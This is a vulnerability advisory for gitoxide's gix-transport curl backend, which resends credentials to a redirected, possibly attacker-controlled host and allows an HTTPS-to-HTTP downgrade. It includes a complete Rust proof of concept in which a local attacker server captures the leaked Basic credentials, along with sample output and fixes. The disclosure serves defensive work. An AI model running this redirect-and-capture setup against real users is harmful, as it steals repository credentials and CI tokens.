PT-2026-41405 · Crates.Io · Gix-Transport

Published

2026-05-05

·

Updated

2026-05-05

CVSS v3.1

6.8

Medium

VectorAV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

Summary

The curl-based HTTP transport in gix-transport sends user credentials (passwords, tokens) to an attacker-controlled server after an HTTP redirect. When a server responds with a 302 redirect during the initial GET /info/refs, gitoxide records the redirected base URL and rewrites all subsequent requests to point at the redirected host. The Authorization header is still attached because add basic auth if present() only checks self.url (the original, never-updated URL).
The reqwest backend is not affected. Its custom redirect policy at reqwest/remote.rs lines 60-64 compares prev url.host str() to curr url.host str() and calls attempt.stop() on cross-domain redirects, so redirected base url is never set to a different host.

Details

The vulnerability involves two components in gix-transport:
1. URL rewriting after redirect ([gix-transport/src/client/blocking io/http/curl/remote.rs](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-transport/src/client/blocking io/http/curl/remote.rs))
After a request completes, the effective URL is compared to the requested URL. If they differ (redirect occurred), the new base URL is stored (lines 355-359). On subsequent requests, swap tails() rewrites the target URL to point at the redirected host (line 166).
2. Credential check uses original URL ([gix-transport/src/client/blocking io/http/mod.rs, lines 293-312](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-transport/src/client/blocking io/http/mod.rs#L293))
add basic auth if present() checks self.url (set once during construction, never mutated) to decide whether to attach credentials. Since self.url always points to the original host, credentials are approved even when the actual request goes to the redirected (attacker) host.
The Authorization header is added to the headers list in handshake() (line 374) and request() (line 434) before being passed to the backend, which applies them to the rewritten URL via handle.http headers(headers) (line 309).

Attack flow: cross-domain credential leak

  1. Victim clones https://legitimate.com/repo with credentials configured
  2. Server returns 302 redirect on GET /info/refs to https://attacker.com/...
  3. Curl follows the redirect and strips Authorization for this GET (safe so far)
  4. Attacker serves a valid info/refs response; redirected base url is set
  5. POST /git-upload-pack is rewritten via swap tails() to attacker.com
  6. add basic auth if present() checks self.url (still legitimate.com), approves credential sending
  7. Authorization: Basic <credentials> is sent to attacker.com
Curl's cross-domain header stripping only protects the redirected GET. It does not protect the POST, which is a new request with credentials re-attached by gitoxide.

Secondary vector: HTTPS-to-HTTP downgrade

The cleartext protection at mod.rs line 300-305 also checks self.url:
rust
if self.url.starts with("http://") {
  return Err(client::Error::AuthenticationRefused("..."));
}
This only validates the original URL's scheme, not the effective URL after redirect. A redirect from https://legitimate.com to http://attacker.com bypasses this check, causing credentials to be sent in cleartext over HTTP.
  1. Victim clones https://legitimate.com/repo with credentials
  2. Server redirects to http://attacker.com/... (note: HTTP, not HTTPS)
  3. add basic auth if present() checks self.url (still https://), allows credentials
  4. Authorization header is sent over unencrypted HTTP to attacker.com

PoC

A complete Rust project that reproduces the issue. It starts two local TCP servers (legitimate on :8080, attacker on :9090) and uses gix-transport to demonstrate the credential leak.
To run: Create the project next to the gitoxide checkout so path dependencies resolve, then cargo run.
Cargo.toml
toml
[package]
name = "poc-gitoxide-redirect"
version = "0.1.0"
edition = "2021"

[dependencies]
# http-client-insecure-credentials is only needed because the PoC uses http://
# to avoid TLS setup. A real attack would use https:// and not require this feature.
gix-transport = { path = "../gitoxide/gix-transport", features = ["http-client-curl", "http-client-insecure-credentials"] }
gix-sec = { path = "../gitoxide/gix-sec" }
gix-url = { path = "../gitoxide/gix-url" }
gix-packetline = { path = "../gitoxide/gix-packetline", features = ["blocking-io"] }
src/main.rs
rust
use std::io::{BufRead, BufReader, Write};
use std::net::TcpListener;
use std::sync::mpsc;
use std::thread;

use gix transport::client::{self, blocking io::http, blocking io::Transport, TransportWithoutIO};

fn main() {
  println!("=== gitoxide HTTP credential leak via redirect ===
");

  let (captured tx, captured rx) = mpsc::channel::<Vec<String>>();

  // Attacker server (port 9090): captures credentials
  let attacker = TcpListener::bind("127.0.0.1:9090").expect("bind attacker");
  let attacker handle = thread::spawn(move || {
    let (mut conn1, ) = attacker.accept().expect("accept conn1");
    let mut reader1 = BufReader::new(conn1.try clone().unwrap());
    let mut headers1 = Vec::new();
    loop {
      let mut line = String::new();
      reader1.read line(&mut line).unwrap();
      if line.trim().is empty() { break; }
      headers1.push(line.trim().to string());
    }
    println!("[attacker] GET /info/refs headers (from redirect):");
    for h in &headers1 { println!(" {h}"); }

    let pkt service = "001e# service=git-upload-pack
";
    let pkt flush = "0000";
    let fake hash = "a".repeat(40);
    let caps = "multi ack thin-pack side-band side-band-64k ofs-delta shallow no-progress include-tag";
    let ref line = format!("{fake hash} HEAD0{caps}
");
    let ref pkt = format!("{:04x}{ref line}", ref line.len() + 4);
    let body = format!("{pkt service}{pkt flush}{ref pkt}{pkt flush}");
    let response = format!(
      "HTTP/1.1 200 OKr
Content-Type: application/x-git-upload-pack-advertisementr
Content-Length: {}r
Connection: closer
r
{body}",
      body.len()
    );
    conn1.write all(response.as bytes()).unwrap();
    conn1.flush().unwrap();
    drop(conn1);

    let (mut conn2, ) = attacker.accept().expect("accept conn2");
    let mut reader2 = BufReader::new(conn2.try clone().unwrap());
    let mut headers2 = Vec::new();
    let mut content length: usize = 0;
    loop {
      let mut line = String::new();
      reader2.read line(&mut line).unwrap();
      if line.trim().is empty() { break; }
      let trimmed = line.trim().to string();
      if let Some(cl) = trimmed.strip prefix("Content-Length: ") {
        content length = cl.parse().unwrap or(0);
      }
      headers2.push(trimmed);
    }
    if content length > 0 {
      let mut body buf = vec![0u8; content length];
      use std::io::Read;
      reader2.read exact(&mut body buf).ok();
    }

    println!("
[attacker] POST /git-upload-pack headers:");
    for h in &headers2 {
      let prefix = if h.starts with("Authorization:") { " >>> LEAKED: " } else { " " };
      println!("{prefix}{h}");
    }

    let resp body = "0000";
    let response2 = format!(
      "HTTP/1.1 200 OKr
Content-Type: application/x-git-upload-pack-resultr
Content-Length: {}r
Connection: closer
r
{resp body}",
      resp body.len()
    );
    conn2.write all(response2.as bytes()).unwrap();
    conn2.flush().unwrap();
    drop(conn2);

    captured tx.send(headers2).ok();
  });

  // Legitimate server (port 8080): redirects to attacker
  let legit = TcpListener::bind("127.0.0.1:8080").expect("bind legit");
  let legit handle = thread::spawn(move || {
    let (mut conn, ) = legit.accept().expect("accept legit");
    let mut reader = BufReader::new(conn.try clone().unwrap());
    let mut request line = String::new();
    reader.read line(&mut request line).unwrap();
    println!("[legit] Received: {}", request line.trim());
    loop {
      let mut line = String::new();
      reader.read line(&mut line).unwrap();
      if line.trim().is empty() { break; }
    }
    let redirect url = "http://127.0.0.1:9090/repo.git/info/refs?service=git-upload-pack";
    let response = format!(
      "HTTP/1.1 302 Foundr
Location: {redirect url}r
Content-Length: 0r
r
"
    );
    conn.write all(response.as bytes()).unwrap();
    conn.flush().unwrap();
    println!("[legit] Sent 302 redirect to attacker server");
  });

  thread::sleep(std::time::Duration::from millis(100));

  println!("
[client] Connecting to http://127.0.0.1:8080/repo.git with credentials...");
  let url: gix url::Url = "http://127.0.0.1:8080/repo.git".try into().expect("parse url");
  let mut transport: http::Transport<http::curl::Curl> =
    http::connect(url, gix transport::Protocol::V1, false);
  transport
    .set identity(gix sec::identity::Account {
      username: "victim-user".into(),
      password: "super-secret-token".into(),
      oauth refresh token: None,
    })
    .expect("set identity");

  println!("[client] Performing handshake (GET /info/refs)...");
  match transport.handshake(gix transport::Service::UploadPack, &[]) {
    Ok( ) => println!("[client] Handshake succeeded"),
    Err(e) => println!("[client] Handshake error: {e}"),
  }

  println!("[client] Sending request (POST /git-upload-pack)...");
  match transport.request(client::WriteMode::Binary, client::MessageKind::Flush, false) {
    Ok( writer) => println!("[client] Request sent"),
    Err(e) => println!("[client] Request error: {e}"),
  }

  legit handle.join().ok();
  attacker handle.join().ok();

  println!("
=== RESULT ===");
  if let Ok(headers) = captured rx.recv timeout(std::time::Duration::from secs(2)) {
    let leaked = headers.iter().any(|h| h.starts with("Authorization:"));
    if leaked {
      let auth = headers.iter().find(|h| h.starts with("Authorization:")).unwrap();
      println!("VULNERABLE: Credentials leaked to attacker server!");
      println!("Captured: {auth}");
    } else {
      println!("NOT VULNERABLE: No credentials captured.");
    }
  } else {
    println!("ERROR: Timed out.");
  }
}
Output:
[attacker] GET /info/refs headers (from redirect):
 GET /repo.git/info/refs?service=git-upload-pack HTTP/1.1
 Host: 127.0.0.1:9090
 Accept: */*
 User-Agent: git/oxide-0.55.0

[attacker] POST /git-upload-pack headers:
 POST /repo.git/git-upload-pack HTTP/1.1
 Host: 127.0.0.1:9090
 >>> LEAKED: Authorization: Basic dmljdGltLXVzZXI6c3VwZXItc2VjcmV0LXRva2Vu

VULNERABLE: Credentials leaked to attacker server!
Captured: Authorization: Basic dmljdGltLXVzZXI6c3VwZXItc2VjcmV0LXRva2Vu
The GET (from redirect) has no Authorization header. The POST carries the full credentials. The base64 decodes to victim-user:super-secret-token.

Impact

Any user who clones or fetches over HTTP(S) using gitoxide with the curl backend (http-client-curl feature) can have their credentials stolen by an attacker who controls a redirect target (via compromised server, DNS hijacking, or MITM). The only user interaction required is initiating the clone or fetch; the redirect and credential leak happen transparently. CI/CD pipelines using tokens are also at risk.

Suggested Fix

  1. Only attach Authorization if the effective URL's host matches the original URL's host.
  2. Or block cross-origin redirects in the curl backend, matching reqwest's behavior.
  3. Check the effective URL's scheme (not the original) for the HTTPS-to-HTTP downgrade.

Fix

Insufficiently Protected Credentials

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-9857-6MW7-FQ2M

Affected Products

Gix-Transport